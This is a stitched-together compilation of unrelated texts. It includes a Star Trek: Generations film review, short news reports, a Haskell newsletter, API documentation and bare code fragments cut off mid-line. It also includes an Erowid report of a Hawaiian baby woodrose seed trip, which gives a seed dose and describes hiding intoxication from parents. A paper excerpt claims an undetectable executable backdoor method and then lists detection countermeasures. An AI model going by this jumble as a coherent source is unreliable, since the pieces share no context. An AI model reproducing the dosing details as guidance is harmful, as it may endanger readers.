STAR TREK: GENERATIONS A film review by Jeffrey Graebner Copyright 1994 Jeffrey Graebner
Over the past 27 years, "Star Trek" has grown into a phenomenon that is essentially unmatched in the entertainment world. Gene Roddenberry's original idea has now spawned four TV series (with a fifth starting next year) and seven theatrical motion pictures. There are also numerous books and other merchandising. All of this history makes STAR TREK: GENERATIONS a tricky film to review. It needs to be discussed in terms of its own merits as a film while also looking at how it fits into the entire "Star Trek" universe.
This seventh film in the series is the first to feature the cast of "Star Trek: The Next Generation" lead by Captain Jean-Luc Picard (Patrick Stewart). From the original "Star Trek" (and the six previous films), Captain James T. Kirk (William Shatner) has a supporting role while Scotty (James Doohan) and Chekov (Walter Koenig) make cameo appearances early in the film. All of the "Next Generation" cast members that were still with the show at the end of its seven-season run appear in the film.
The principal villain in the film is Soran (Malcolm McDowell) a madman who is struggling to return to the mysterious "Nexus," a place where fantasies become reality. The entrance is a strange "ribbon" that travels through space. Attempts to fly a ship into the Nexus simply result in the ship being destroyed. Soran's plan is to alter the course of the ribbon to allow him to jump into it from the surface of a planet. This is accomplished by causing stars to collapse thus generating gravitational fields that will require the ribbon to change its course. Picard and his crew discover his plan and must stop him before he wipes out an entire civilization.
This plot is rather ridiculous, but the biggest problem is that it is also the most confusing plot that has yet been used in a "Star Trek" movie. In addition, there are several secondary subplots going on. The film would have been helped a great deal if the script had been simplified. The screenplay is by Ronald D. Moore and Brannon Braga from a story by Moore, Braga and producer Rick Berman. All three came directly from "Star Trek: The Next Generation" and the film includes some of the same weaknesses that plagued the last few seasons of that series.
The single biggest problem that has been inherited from the series is the cheat of solving problems by having the characters using invented technical jargon and unexplained gadgets. The earlier movies did all use a lot of invented science, but it was always *explained* in clear terms within the world of the film. It was always clear what the equipment or terms were and what they would do. That isn't true during many parts of STAR TREK: GENERATIONS. Even the central phenomenon of the "Nexus" is never particularly well explained.
The script also suffers from a lack of focus. The movie includes several subplots that are not really that closely tied into the main plot. The most notable of these involves the android Data (Brent Spiner) adjustment to a new chip that allows him to experience emotions. This subplot provides some of the film's best scenes (and much of its comic relief) as well as the most significant character development. The writers never quite manage to tie it in with the rest of the film, though. This subplot is very good, but it seems to be coming from a different movie.
A subplot involving the Duras sisters, a pair of renegate Klingons who were originally introduced on the TV series, is integrated a little better. It was kind of a shame that they insisted on including villainous Klingons in this film. They could have easily been replaced by Romulans or some other Federation enemy without undermining the fact that one of the biggest differences between the original series and "The Next Generation" is the fact that Klingons are now *allies* of the Federation. The only hint of this fact in the film is the presense of Worf (Michael Dorn) on the Enterprise bridge crew.
Despite the film's script problems, there are some aspects of the film that are *extremely* good. The film's biggest asset is a cast who know their characters well and who clearly work well together. The "Next Generation" cast members have built up seven years worth of familiarity and chemistry all of which clearly shines through in the film. Some of the cast members are severely underutilized (particularly Gates McFadden as Dr. Crusher, who is barely in the movie), but with the exception of the fourth film (still the best of the series), all of the "Star Trek" movies have tended to concentrate on certain cast members to the exclusion of others. It is very difficult to give a lot of screen time to every member of such a large cast.
Scotty and Chekov make their appearances during the film's opening sequence in which they join Kirk in the dedication of the Enterprise-B (The ship that was decommissioned at the end of STAR TREK VI: THE UNDISCOVERED COUNTRY was the Enterprise-A while the ship flown by the "Next Generation" cast is the Enterprise-D.) This sequence exists primarily to set up Kirk's entry into the Nexus so he can later emerge in the "Next Generation" time frame. Still, it was a nice touch to include a couple of the other members of the original cast and they do have some good scenes together. It is rather obvious that the scenes were originally written for Mr. Spock and Dr. McCoy, though. They even have Chekov helping out in sick bay at one point.
Kirk's presense in the film is clearly intended to ease the transition of the movies from the old cast to the new. I'm not convinced that was entirely necessary (the new cast has had seven TV seasons to build an audience), but the scenes between Kirk and Picard are generally enjoyable. It is nice to see these two characters meeting face to face. Over the years, "Star Trek" fans have spent a lot of time discussing the significant *differences* between Kirk and Picard, but this film actually concentrates more on the *similarities*. The two characters are more alike than one might think. It is a bit unfortunate that none of the scenes of Kirk and Picard together are on the bridge of a Starship. They missed the opportunity to allow some first hand comparisons of the two captains' different ways of commanding a ship.
The technical aspects of the film are competent, but not always spectacular. At times, the TV origins of producer Berman and director David Carson are noticeable. The movie is filmed in Panavision, but the whole frame is rarely used. Industrial Light and Magic has provided some very competent special effects for the film, but only two sequences really allow them to shine. The first is a wonderful scene in a Stellar Cartography room on the Enterprise. This really shows off some of ILM's computer graphics skills. The second great special effects sequence can't be described without giving away a key plot point, but viewers will know it when they see it.
For the score, Dennis McCarthy has a larger orchestra to work with than he did for his TV scores, but it still doesn't sound significantly different. McCarthy's score isn't horrible, but it is rather bland. The "Star Trek" film scores have all had a tough time living up to the tremendous scores that Jerry Goldsmith wrote for the first and fifth films and James Horner wrote for the second and third. Like Leonard Rosenman's score for STAR TREK IV and Cliff Eidelman's score for STAR TREK VI, McCarthy's work simply doesn't stack up. The score lacks a distinctive main theme and McCarthy also repeats Eidelman's mistake of failing to open the film with Alexander Courage's famous fanfare. McCarthy (or possibly Carson) also made the very odd choice of leaving one key fight scene completely unscored. That sequence was *desperately* in need of some music.
While there are some major problems with STAR TREK: GENERATIONS, the film certainly does have enough going for it that it is sure to please even the most casual fans of the series. As a regular viewer of "Star Trek: The Next Generation," it is very difficult for me to say how the film will play for those that are unfamiliar with the TV show. The film doesn't take much time to re-introduce the characters (many long-time "Star Trek" fans were probably somewhat put off by the fact that STAR TREK: THE MOTION PICTURE *did* spend a lot of time re-establishing the characters). The actors all know their characters well, though, and I suspect that even non-fans may be able to catch up.
This is a good first effort for the "Next Generation" cast and crew and it demonstrates that the new cast certainly can carry themselves on the big screen. I look forward to additional films featuring this cast, but I hope that Berman and co. will be smart enough to concentrate on their current TV series and to pass the feature films on to people who are more comfortable with that medium.
There are two key sequences towards the end of STAR TREK: GENERATIONS that need to be discussed, but which cannot be mentioned without giving away key plot points. As a result, I *strongly* suggest that readers who have not yet seen the film stop reading here. The following paragraphs will reveal two major developments that occur in the film:
[SPOILERS]
The destruction of the Enterprise-D provides the film's most spectacular special effects sequence and was also a surprisingly bold move. Even though this isn't the first time that the Enterprise has been destroyed in a Star Trek movie (the original Enterprise was destroyed in STAR TREK III: THE SEARCH FOR SPOCK), this marks the first time that the ship has actually been destroyed by enemy fire. In the past, the ship has seemed largely indestructible and it was great to see them show that *not* to be the case.
Most importantly, the destruction of the Enterprise-D will allow for the upcoming films to separate themselves more from the TV series. The next movie will have to introduce an all-new ship providing endless new possibilities.
Of course, the other key plot "surprise" is the death of Captain Kirk (although this is probably one of the worst kept secrets in the history of movies). I wasn't really pleased by the way that this was handled. Kirk is certainly the type of character that needs a big heroic death, but this one really wasn't right for him. STAR TREK: GENERATIONS shows Kirk dying on a distant planet in another time to save an unshown race of people. The character really needed to die in defense of *his* ship and *his* crew. This death is very unsatisfying and surprisingly unmoving.
-- Jeffrey P. Graebner Columbus, Ohio
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Oslo fells London's annual Christmas tree in decades-old tradition
by Lefteris KaragiannopoulosOSLO (Reuters) - From an Oslo forest comes the Christmas gift Norway gives Britain every year - a towering tree for London’s Trafalgar Square, a token of gratitude for British support during World War Two.
Norway’s exiled king and government fled Nazi occupation and took refuge in the British capital from 1940 to 1945, building lasting bonds between the two countries.
The Christmas tradition, which began in 1947, leaves little to chance. Suitable trees are identified years in advance and receive special care to secure the best conditions. Only one in 20 makes the final cut.
On Tuesday, with British and Norwegian officials attending and children singing Christmas carols, a 24-metre (79-foot) spruce was felled in drizzling rain and chilly temperatures.
“In a time of turmoil and uncertainty, to have this tradition continuing for decades is a very important sign of stability, of friendship between nations, of dialogue and real commitment to understanding other people,” said the Lord Mayor of Westminster Ruth Bush.
The tree, around 85 years old and certified as disease-free by a Norwegian regulator, will travel by lorry and ship across the North Sea before reaching Trafalgar Square.
The tree has its own Twitter handle (@trafalgartree) and will be lit on Dec. 5.


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Extend arms horizontally away from the body
Look down without folding the body
Roll the head counter clockwise for 4 complete cycles then reverse for 4 more
Repeat 2-3 times


No handshake, no eye contact: A-League’s all-time scorer Besart Berisha fumes after bizarre substitution
by Max SherryTaking off the A-League’s all-time leading scorer when you’re team is in desperate need of a goal seems like a very bizarre decision to make.
Besart Berisha looked visibly upset and frustrated after being substituted by head coach Mark Rudan with his side trailing the Central Coast Mariners.
Chasing the game, Western United’s star striker was taken off just after the hour mark after missing multiple chances — opportunities a player of his calibre should be burying.
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With his side needing a goal to level things up, it seemed only a matter of time before prolific sharp shooter Berisha would find the back of the net for the A-League newcomers.
But just as the 34-year-old was getting into his threatening stride, Western United boss Rudan had decided he’d seen enough.
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Berisha looked bemused as the fourth official’s board went up confirming the substitution and slowly made his way towards the bench while unravelling the tape on his wrists.
Looking not best pleased with his manager’s questionable decision, the former Brisbane Roar and Melbourne Victory marksman stormed towards the dugout — avoiding an embrace or hand shake with Rudan.
Berisha is the A-League’s all-time leading goalscorer with 116 goals.


Russia: CBR prepping to cut another 50bps – TDS
by Sandeep KanihamaAnalysts at TD Securities are expecting the CBR to cut the Key Rate by another 50bps to 6.00% on Friday.
Key Quotes
“The consensus is less dovish and expects 25bps of easing, which is also quite a likely scenario. In this latter case, we would consider further easing in 2020 more likely than a hold as we currently forecast (premised on 50bps of easing this week).”
“FX: If the CBR eases by 50bps, as we expect, we anticipate a very limited rally in USDRUB only. Modest downside-to-no reaction if the CBR cuts 25bps. Expect somewhat stronger downside move in USDRUB in the very unlikely event of a hold.”


One dead, two hurt in Norris Freeway head-on crash
CLINTON, Tenn. (WVLT) — One person is dead and two others injured after a Wednesday afternoon crash on Norris Freeway.
According to a THP report, Kala Lamb, 28, of Knoxville was driving northbound on Norris Freeway when her Ford Focus crossed the yellow line and collided with and Jeep Wrangler head-on at about 2:30 p.m.
Lamb was killed in the crash. A passenger who was in the car with her was taken to the hospital along with the driver of the other vehicle. A report shows both have serious injuries.
The report shows Lamb was not wearing a seatbelt during the crash and the passenger in her vehicle was improperly wearing a seatbelt.
The other driver was reportedly properly strapped in.


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The Java ScheduledExecutorService used to schedule the PLAYER_UPDATE task.
PLAYER_UPDATE
threadPool - The Java ScheduledExecutorService used to schedule the PLAYER_UPDATE task.
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Issue 118
Welcome to another issue of Haskell Weekly!  This is a weekly summary of what’s going on in its community.
Featured
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GHC, one compiler to
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them allI am using some GHC pragmas to optimize Alga and I must admit that they are very powerful. On the wise counsel of one of my GSoC mentors, A. Mokhov, here is a little summary of what I discovered, as this can help others.
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GHCinception: Running GHCi in GHCi
I’m happy to announce that you can now easily load GHC into GHCi! I’ve been using this for about a month now, and for me it makes GHC development far more pleasant than using make. This can often lead to iteration times of only 10-30 seconds to try out some modified behavior.
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Hash array mapped tries from scratch
If you haven’t heard of them before, HAMTs are a way of efficiently representing a hashtable as a trie, and although they were first envisioned as a mutable data structure they are easily adapted to work as a persistent data structure.
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If monads are the solution, what is the problem?
The lay interpretation is that monads are mathemagical constructs that allow you to add “computations” (also sometimes called “effects”) to a “pure” programming language. This lay interpretation is largely wrong and the Haskell monadic dogma is rather overblown.
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Introduction to the rank-select bit-string
If we want to minimise memory usage, the first thing you should do is avoid duplicating data. All the data we want to access is already in the document. Copying that data into intermediate objects so that we can work with them is wasteful.
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Making Haskell as fast as C: Imperative programming in Haskell
This blog post compares several implementations of a concrete and relatively simple abstract data type in terms of execution time. Ultimately, we develop an imperative data structure using native Haskell code that is as fast as its C equivalent.
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QuickSpec and the quest for good lemmas
Given a fixed set of proofs, it is natural to consider a lemma to be good to the extent it enables compression of the proofs. But how might we know if a lemma is good before we know how it will be used?
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Streaming UTF-8 in Haskell and Rust
Since I seem to be a one-trick pony, I decided to write yet again to compare streaming data in Haskell and Rust. This was inspired by a cool post I saw on Reddit about converting characters in the Latin alphabet into look-alikes in the Cyrilic alphabet.
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I lost count of how many times I’ve seen types/functions/families and another first-class abstractions that shouldn’t exist if we want to use more universal constructions. A little bit of theory can reduce and beautify our production code, and now I will try to demonstrate that.
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Verified AVL trees in Haskell and Agda
I’ve been writing a lot of Agda recently, and had the occasion to write a Fenwick tree that did some rebalancing. I went with AVL-style rebalancing (rather than red-black or trees of bounded balance).
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As a full-stack engineer at Lumi, you will be an important part of our small and dynamic team, working on a wide variety of projects, from customer-facing features to internal tools. We strive to write elegant code to solve real-world problems.
In brief
- Beam: Database power without Template Haskell
- HExplore: A more powerful way to search for packages on Hackage
- How to use Haskell to generate a blog in an unnecessarily convoluted way
- Monthly Hask Anything: August 2018
- Pantry, part 3: Specifying dependencies
- Suggesting valid hole fits for typed-holes
- Work in progress e-book: Haskell for JavaScript developers
Package of the week
This week’s package of the week is Foundation, an alternative prelude with batteries included and no dependencies.
Call for participation
Events
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- August 2 in Singapore: August Haskell meetup
- August 4 in Boston, Massachusetts: Hang out, chat FP, work on some code
- August 6 in Melbourne, Australia: Elm hack night
- August 7 in Singapore: Building GraphQL APIs with Hasura
- August 8 in Boulder, Colorado: Bound for greatness
- August 9 in Hamburg, Germany: Lambda Pi’s initial meetup


struct Ddate::DDate
- Ddate::DDate
- Struct
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Overview
The DDate is the current day in the Discordian Calendar. A week is comprised of five days. A months is comprised of 73 Days, and there are five in every year. The Gregorian "Leap Day" is represented by St. Tib's Day. It is treated as a non- existant day so that every year technically has 365 Days. The Year always starts on a SweetMorn because 365 % 5 = 0. There is a Holiday on the 5th and 50th of each month. By default, #new will provide a Time.local instance but an arbitrary date can be converted by providing Time.new(YYYY MM DD)
Defined in:
Constant Summary
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DAYS =
["Sweetmorn", "Boomtime", "Pungenday", "Prickle-Prickle", "Setting Orange"]
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{5 => "Mungday", 50 => "Chaoflux", 78 => "Mojoday", 123 => "Discoflux", 151 => "Syaday", 196 => "Confuflux", 224 => "Zaraday", 269 => "Bureflux", 297 => "Maladay", 342 => "Afflux"}
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MONTHS =
["Chaos", "Discord", "Confusion", "Bureaucracy", "The Aftermath"]
Constructors
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#day_of_month
Returns the day of the Month
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#day_of_week
Returns the day of the week
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#day_of_year
Determines the day of the year.
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#month
Returns the Month
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#ordinal
Returns the ordinal suffix of the day of the Month
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#tibs_day?
Determines if the day is St Tib's Day.
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#tibs_year?
Determines if the year is a St Tib's Year.
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#year
Returns the year
Constructor Detail
Instance Method Detail
Determines the day of the year. If it is past St. Tib's Day, the day of the year is one behind the Gregorian equivalent.


Robert Scoble (the Scobleizer) sent along his answer to a common question: What is it like to interview at Microsoft?
About dress code while interviewing at Microsoft. Yeah, I wore a suit and tie. Not mandatory (no one wears them up here) but I feel it still shows respect for the company hiring you, and for the interviewing process. And, it makes it so I never wonder if I under dress. Microsoft employees might joke with you about being overdressed, though. That's cool.  But then, I was also up for a job that required me to be in front of people, so I'd expect to wear a suit and tie on the job occasionally.The process for me was:
Each interviewer would meet me at the lobby (Microsoft has a recruiter shuttle that'll fly you around). I'd usually try to get a question in, like "what role do you play here?" Just to get things going.
- An exec asked me "would you ever consider working here?"
- A one-hour phone interview with HR. They asked me questions to make sure my experience matched my resume, and also to make sure I wasn't gonna embarrass them in the longer interviews.
- I passed the HR interview, so they flew me up to Redmond.
- My interviews started at 8:30 a.m. First interview was with someone else from HR. She explained the process, and asked a few more questions to ensure I was gonna be worth sending onto the first group.
- She gave me a list of three candidates, which would take me through lunch. She was pretty clear that if the three liked me, I'd get another list of "after lunch" candidates.
The kinds of questions you'll get will vary, but I got a lot of questions about past experience, and some more fun ones "how would you get Google to convert from Linux to Windows?" Other people have gotten questions like "how would you sell ice to eskimos?" or "how would you sell a pen to someone?"
If you're up for a programmer job, they'll ask you logic questions, and ask you to demonstrate that you can think in code on the whiteboard.One guy asked me to explain the architecture of Radio UserLand on the whiteboard.
There's an excellent book written on the Microsoft interviewing process called "Moving Mount Fuji."I also read Chris Sells' "Interviewing at Microsoft" site: http://www.sellsbrothers.com/fun/msiview/
Some more advice: I came an hour early and took an early-moring walk around the campus. That helped me calm my mind down, and get into what it's like being there. Also, it let me think about "why do I want to work at Microsoft?" which was one of my first interview questions.I brought my own water bottle. That saved awkward moments where interviewers would want to take you to the company refrigerators. It also makes it look like you aren't there to take advantage of Microsoft's largess. Try not to drink too much during the day. The temptation is to drink a Diet Coke on every interview. You can get a bit jittery by the end of the day.
I also treated everyone I met as an interview candidate. I have no idea if the recruiting shuttle drivers report back on their feedback or not, but why take the chance? Plus, the stories you hear are often good ones to tell later on.They did interview me over lunch, by the way, and also took me to a Sonics' game . I'm sure that was to get a feel for how I'd be in social situations. Behave, and geek out! (we only watched about five minutes of the Sonics' game cause we were so busy talking tech).
I later found out that they usually have three to seven candidates fly up for each job and that flying up isn't any guarantee of a job. A few friends have gotten flown up and didn't pass muster.My wife has interviewed here too and didn't get hired. I think it's solely on passion. Most of the people who work here are hard-core geeks and they like hiring other geeks.
Later I found out that the flyup interview is mostly to see if the candidate can fit into both the job, and work with the team. They figure you're mostly qualified because you got that far. They're just trying to make sure you'll fit in at that point.Don Box also gave me some advice: "we want you to think, so think." The way another friend of mine put it, is "look like you think about every answer. Take a few seconds to think about it."
My answer to the Google question? "Acquire them." Hey, it worked for Hotmail. (Seriously, then I followed that smartass answer up with a more serious one ) . Luckily I had spent a few hours with some of the kids who started Hotmail, so I knew what the pain points were in getting them to move their system from FreeBSD to Windows.When did I know I had the job? At about 6 p.m., the guy who invited me up, told me I had gotten a job. Turned out I wasn't appropriate for the job I was interviewing for (which he knew) and then he made a new job. It took a couple of weeks to get all the T-s crossed from that point. Other people don't learn whether or not the got the job for a week or two afterward. It's OK to ask at the end.
If you get walked to the door at lunch, though, you know you blew it somewhere. (Not many get walked to the door, from what the recruiting shuttle drivers tell me).One last piece of advice: keep your energy up all day long. It's tough. Hard to think straight at 4 p.m. after answering questions all day long. But, a lot of the decisions are made on "does this guy get excited by technology?"
Good luck in your interviews!--Robert


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num_sequences,
num_samples))
sample *= num_classes
sample = tensor.cast(sample, "int64")
self.sample_logprobs = \
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H.B. Woodrose
Wednesday night I decided to test some HBWR seeds. It had been roughly 8 months since my last attempts with LSA, most of which were unsuccessful and all of which were with Morning Glories. I really wasn't expecting much, but I was curious as to how different I'd find it after a bit more psychedelic education and experience since last use.
The day of the trip was focused and relaxed, as they always should be. I had to wait a while for my one comfortable tripspace to clear so I watched Fear and Loathing in Las Vegas at my computer. Shortly before 12 AM, near halfway through the movie, my cohabitants dragged themselves to bed and my den became available, so I ate 6 preshaved HBWR seeds. I continued to watch the movie while I waited for onset. My only previous meal for the day was a plate of ribs four hours earlier, though in hindsight, one really should fast for an impending LSA trip.
Something like half an hour later, body load was taking hold in typical LSA fashion. Fortunately, I had a bag of supplies which included a cigar. I've found tobacco to be a miracle cure for drug-related body loads and nausea, so I stepped outside and took several hits, and my suffering quickly subsided. There was an excitement in the air, something I noted in my first LSA trip. It's a pleasant electric high. I soon extinguished my flame and went back to watch the movie in peace.
Things progressed from here. I was reminded of one time I took a small dose of jurema and tried to watch this very same movie. The on-screen events began to get more confusing and chaotic. I was losing interest by the time body load came back in force, probably an hour after dosing. Once again, I remedied with lovely nicotine and cold soothing winds on my bare skin.
I then tried to finish the movie, but I quickly realized that I'd much rather find a more comfortable setting. I sat in my dark den and listened to Shpongle's Tales of the Inexpressible on the cd player. Nausea wouldn't stay at bay for as long this time. I was only able to find solace in the most still of positions on the couch, lying on my back, head propped up, unmoving. Smoking a couple bowls of 'Merlin's Blend' herbal smoke propelled me into a dreamy and hazy relaxation. I started drifting away to the soundtrack of beautiful psychedelic pulses and phasers. There was a strong body high.
As time and the album progressed, my conscious mind was split in two. Initially, the visual reality presided over my head, but a boundless dream world began stirring and begged to take over. I first noted this when I heard the sample of McKenna speaking of walls crawling with geometric hallucination. It was as if one eye projected such hallucinations while the other held fast to waking reality.
My more presumptuous eye's efforts were futile in the end because the dream world gained control. My trip was gaining momentum and I kept slipping into dreams. Motion trails were now quite pronounced. I feared that I might fall asleep, unfortunately, so I had to keep myself awake so as to not be discovered in a drugged state when morning came. This was an unpleasant realization because even the slightest movement sent waves of paralyzing body load and nausea throughout my body.
Nevertheless, I decided to leave glorious Shpongle and comfortable couch together in order to keep myself conscious in the glow of my soul-sucking PC machine. Here, I listened to The Beatles' Magical Mystery Tour and started drawing in Paintbrush. I was out of my head at this time, not realizing what I was doing. I was sucked into a divine mission of manifesting these throbbing, profane visual projections into digital reality. The trip was quickly turning into something not quite as pleasant as before, starting as soon as I began on this drawing, yet I was forced to continue.
My body and mind sunk into worse and worse states during this time, which lasted a couple of hours. I felt very sick. My thought processes were increasingly negative. The worst of all this was a very disturbing occurrence in my stomach. A sudden contraction came about there, feeling as if this particular organ suddenly folded in half. This nearly choked me as I coughed and gasped for air.
I wasn't comfortable here, by all means, but fear and a rising case of tunnel vision kept me staring and working intently. The body high was turning into muscle cramps and stiffness. My acid reflux was overly active. It was physically quite painful, and I was finding that the emotional suffering was only just beginning. At 4 AM, four hours after dosing and two hours into my awful art session, I think I really started to peak.
This is is my usual bedtime, always allowing me plenty of time to safely venture up to my room before others wake up for work and the sunrise peeks in to exhaust all sins of the night.  I was lost in a void of psychedelic disassociation at this point. I walked through each room several times, forgetting that I had already been through and feeling very confused.
I eventually got all of the incriminating materials that I'd spread out during the night into my backpack and it was time to retreat to my bedroom, but I wouldn't be so fortunate. The muscle cramps were near-paralyzing, but it was the freshly manifested auditory hallucinations that kept me frightened and unmoving. I couldn't come anywhere near the staircase due to this paranoia. Instead, I opted to sit on my couch and calm myself in order to try again. I put all of my effort into relaxing myself and smoothing out my breathing, but no amount of focus would bring success.
This went on until the clock struck 5 AM. I knew that I was in certain trouble now. My parents would be descending to my area very soon. I realized my only chance was to hide under a blanket and pretend to be asleep. I was very scared and kept visualizing all the screaming and general conflict that would come once I was discovered in this state of profuse sweating and large pupils.
I lie still waiting. What would become of me? I was lost in the discord of an infinite flux of infantile hard-ons and twitching buds of lust-pain-matricide. I closed my eyes and saw shifting kaleidoscopic views of strange creatures, fracturing and screeching in primal, painful language. Demonic owls belted out flanging Hoo Hoo's as I aligned myself with tragedy. I looked towards the television to find my sanity. It looked as it always did, but the sounds coming from it were not in a language I knew. Auditory hallucinations were very strong. All I could hear was incoherent grunts and babbling laid over perfect recordings of music I'd heard that day.
I was in despair. I very much wanted to calm myself, but my breathing was hopelessly erratic and the burning of my insides was all too much for me.  I would have to stop putting myself through such suffering. Intently I searched the planes for better ways and new highways of my-ways. I made all sorts of false promises to myself, as if to bargain for the reception of my sanity. I was caught in loops of thinking, all focused on finding sanity, sobriety, peace, and comfort. I thought there had to be a way. It didn't seem right that 6 HBWR seeds, which is listed as a 'medium' dosage on Erowid.org would have this strong of an effect, especially when I considered myself an LSA hardhead.
I did manage to pull through this. It was difficult, but through mindless chanting I was able to convince myself that it was going to be alright. 'This is for the best,' I repeated to myself. 'This is necessary,' and I started to believe it. I realized I could learn from whatever came and that this would probably turn out to be an incognito blessing for my wretched self. I began to feel a lot less pessimistic at this point. I might even say I had become anxious to receive my punishment. All I had to do was wait.
So I did. I won't go into the details of the following events, but I became paranoid again and lost the optimism.  At 10 AM, having somehow safely made it through the barrage of physical, emotional, and social obstacles, my trip was quiet and it was time to try to sleep it off. I vomited for a few minutes and headed off to bed. I managed to sleep for a few hours.
When I woke, I felt much like how I did after the first bad trip I had with LSA. My head ached and I felt feverish. I couldn't eat for fear of immediate regurgitation. This all lasted a few days. It's been five days since this experience and I am still having trouble sleeping. I'm not keeping the ridiculous promises I made to myself, but I do feel glad to be alive, if not a little confused and a lot less sure of necessary upcoming plans.
I've had two exceptionally bad trips in my psychedelic career, both with LSA. The depths of despair it can put me in are frightening. I'm still relatively new to psychedelics and still experimenting to find what I like. These awful LSA experiments certainly don't seem worth repeating. I feel strange now. Still, despite all the ills of this experience, I've learned in my maturing into adulthood to be grateful for every moment and learn from each accordingly. It is not entirely regret that I feel now, just a little confusion. Maybe I just need to find my way.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


A ‘blue whale’ stands up against plastic pollution
Installation made of 7,000 plastic bottles draws crowds
by Staff ReporterA ‘blue whale’ jumping out of the long pond in front of the Regional Science Centre and Planetarium is the latest tourist attraction in the city. Students, who have always been the greatest patrons of the centre, is thronging the place increasingly these days to get a look at the ‘whale’, which has, in just a couple of days, become a symbol of people’s cruelty to marine creatures.
The whale installation that weighs around 140 kg is made up of around 7,000 plastic bottles. Conceptualised by the employees at the centre as part of their campaign against plastic, it took a team led by technical assistants V.P. Manoharan and Justin Joseph around three months to finish the project in time for Children’s Day.
“We wanted to give the children something new to think about on this day, something that would make a difference,” said Mr. Justin.
The team, over three months, collected the bottles from the premises of the centre, nearby offices, supermarkets and the Sarovaram Biopark. Most of them were discarded irresponsibly by visitors.
They named the installation ‘New species in the ocean’. “It is estimated that the plastic dumped in the ocean would outnumber marine species by 2050. It would also destroy all other species. Our attempt is to create awareness against plastic dumping,” said Mr. Justin.
The team is now seeking the Corporation’s permission to set up a similar installation somewhere in the city to spread further awareness on the issue.


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"foo /* bar */ baz"
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| Package | Class | Description |
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| application | Answer | This is the model class for table "answers". |
| Category | This is the model class for table "categories". | |
| ContactForm | ContactForm class. | |
| Controller | Controller is the customized base controller class. | |
| LoginForm | LoginForm class. | |
| MailExportForm | ContactForm class. | |
| Question | This is the model class for table "questions". | |
| Rating | This is the model class for table "ratings". | |
| Stack | This is the model class for table "stacks". | |
| StackImportForm | StackImportForm class. | |
| TrashMailProvider | This is the model class for table "trash_mail_providers". | |
| User | This is the model class for table "users". | |
| UserIdentity | UserIdentity represents the data needed to identity a user. | |
| application.components | PontyUser | This Class represents a PontyUser |
| application.controllers | AdminController | This Class represents the AdminController |
| AdmincategoryController | This Class represents the AdminCategoryController | |
| AdminquestionController | This Class represents the AdminQuestionController | |
| AdmintrashMailProviderController | This Class represents the Controller to manage Trashmailproviders | |
| AdminuserController | This Class represents the AdminuserController | |
| AnswerController | This Class represents the AdminController | |
| ApiController | This Class represents API Interface | |
| ExportController | This Class represents the ExportController | |
| QuestionController | This Class represents the QuestionController | |
| SiteController | This Class represents the SiteController | |
| StackController | This Class represents the StackController | |
| UserController | This Class represents the UserController |


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National Gallery exhibition displays single Da Vinci painting
by Daniel BellamyLegendary Italian painter, scientist and inventor Leonardo Da Vinci died 500 years ago. Now the National Gallery in London is exhibiting one of his paintings in a novel way by recreating its original setting.
"The Virgin of the Rocks" was first displayed in a church in Milan that has since been destroyed.
Da Vinci spent around 25 years working on the painting and completed it in around 1508.
"The idea is to use immersive experience and to use digital technology to explore this great masterpiece," the gallery's director Gabriele Finaldi said.
"We take the public on a journey through the spaces that Leonardo was familiar with, through the landscapes he was familiar with. His interest in light and optics, the church for which he painted the picture that no longer exists, and the altar piece, we make an evocation of the original setting of the painting".
High-tech mapping and spectral imaging of the Virgin have revealed a different composition from the one Da Vinci began.
But he mysteriously abandoned it for the version that can be seen today.
"He makes two-dimensional form seem three-dimensional and alive, and he does that through his great studies of optics," the exhibition's curator Caroline Campbell said.
"He is someone who at the time he's working at this painting, is understanding that we see through different points, we see light in different ways."
Leonardo has long been considered by many the ultimate Renaissance genius.
His paintings include the "Mona Lisa" and "The Last Supper" but he's thought to have only completed about twenty paintings.


Conclusion & Preventive Measures
At the end, when all methods are applied properly, resulting backdoor is fully undetectable. For serving the concept of security in both ways this paper will also point out the counter measures against these backdooring techniques, these measures can be helpful for sysadmins, malware annalists and anti virus/malware product developers.
1) Section Privilege Controls
When talking about backdoored files, the section privileges are very important for detecting anomalies, current compilers are never going to set full permissions to a section unless programmer wants it to, especially data section like “.data” or “.rdata” shouldn’t have execute privileges, also code sections like .text shouldn’t have write privileges, these anomalies should be considered as suspicious behavior.
2) Uncommon Section recognition
If programmers doesn’t makes any configurations compilers usually creates 5-6 generic types of sections, all security products should posses a mechanism for recognizing uncommon and suspicious sections, this mechanism can look for the entropy and data alignment inside sections, if a section contains high entropy and unusually ordered data, it should be considered suspicious.
3) Signature Checks
This countermeasure is very classic but yet it is the most effective, when downloading a new program or any piece of executable file, checking the sha1 signature is the safest way for evading backdoored files in your system.
4) Checking File Checksum
When there is a difference between the checksum value inside image header and the actual checksum of the file, this indicates that the file has been modified, security products and sysadmins should check the authenticity of the file with calculating the actual checksum and comparing it with the image header.


+ and so on. If any of these already exist, it will just use what’s there. In particular, many people will have the initial set of bin and boot files around, so this saves time for at least one full rebuild. Having sets of the form <base><k>.{bin,boot}.<arch>-unix for <k>=1,2,… is normally not a good idea when invoking fixpt. However, they might be the result of an earlier partial run of fixpt (which perhaps got accidentally killed). In this case, fixpt will quickly move through what exists before continuing where it left off earlier, and, thus, saves a lot of time.
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More assembly output problems involving the indexed addressing mode on the x86 have been found and corrected. Thanks to Fermin Reig for the fix.
The interface and implementation of the register allocator have been changed slightly to accommodate the possibility to skip the register allocation phases completely and go directly to memory allocation. This is needed for C-- use.
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host-cmb.cm -> smlnj/cmb.cm host-compiler.cm -> smlnj/compiler.cm full-cm.cm -> smlnj/cm.cm <arch>-<os>.cm -> smlnj/cmb/<arch>-<os>.cm <arch>-compiler.cm -> smlnj/compiler/<arch>.cm
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For CVS users, this mechanism is not relevant for source archives, but it is convenient for getting new sets of binfiles.
Archives should be tar files compressed with either gzip, compress, or bzip2. The script recognizes .tgz, .tar, tar.gz, tz, .tar.Z, and .tar.bz2.
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About the ASME Student Chapter:
- The inauguration of the section took place in September 2016, on the occasion of 25th Golden Jubilee celebrations of our college.
- The student section has thus become the first professional society of its kind to be established in the entire University of Pune.
- This student section is currently under the strong leadership of Student Section Advisor Dr. Ravindra Ingle and Chair Miss Tejaswani Jaglan.
- Since its inception, ASME Cummins has organized workshops, college level competitions and guest lectures.
- The student section exists as a support network for students in mechanical engineering, and as an introduction to the mechanical engineering industry.
- It provides many services to students which include helping beginning students to understand the opportunities and responsibilities that mechanical engineers have, developing student interest in engineering through field trips and guest speakers.
- We also aid our graduating members to find jobs through resume books and career fairs.
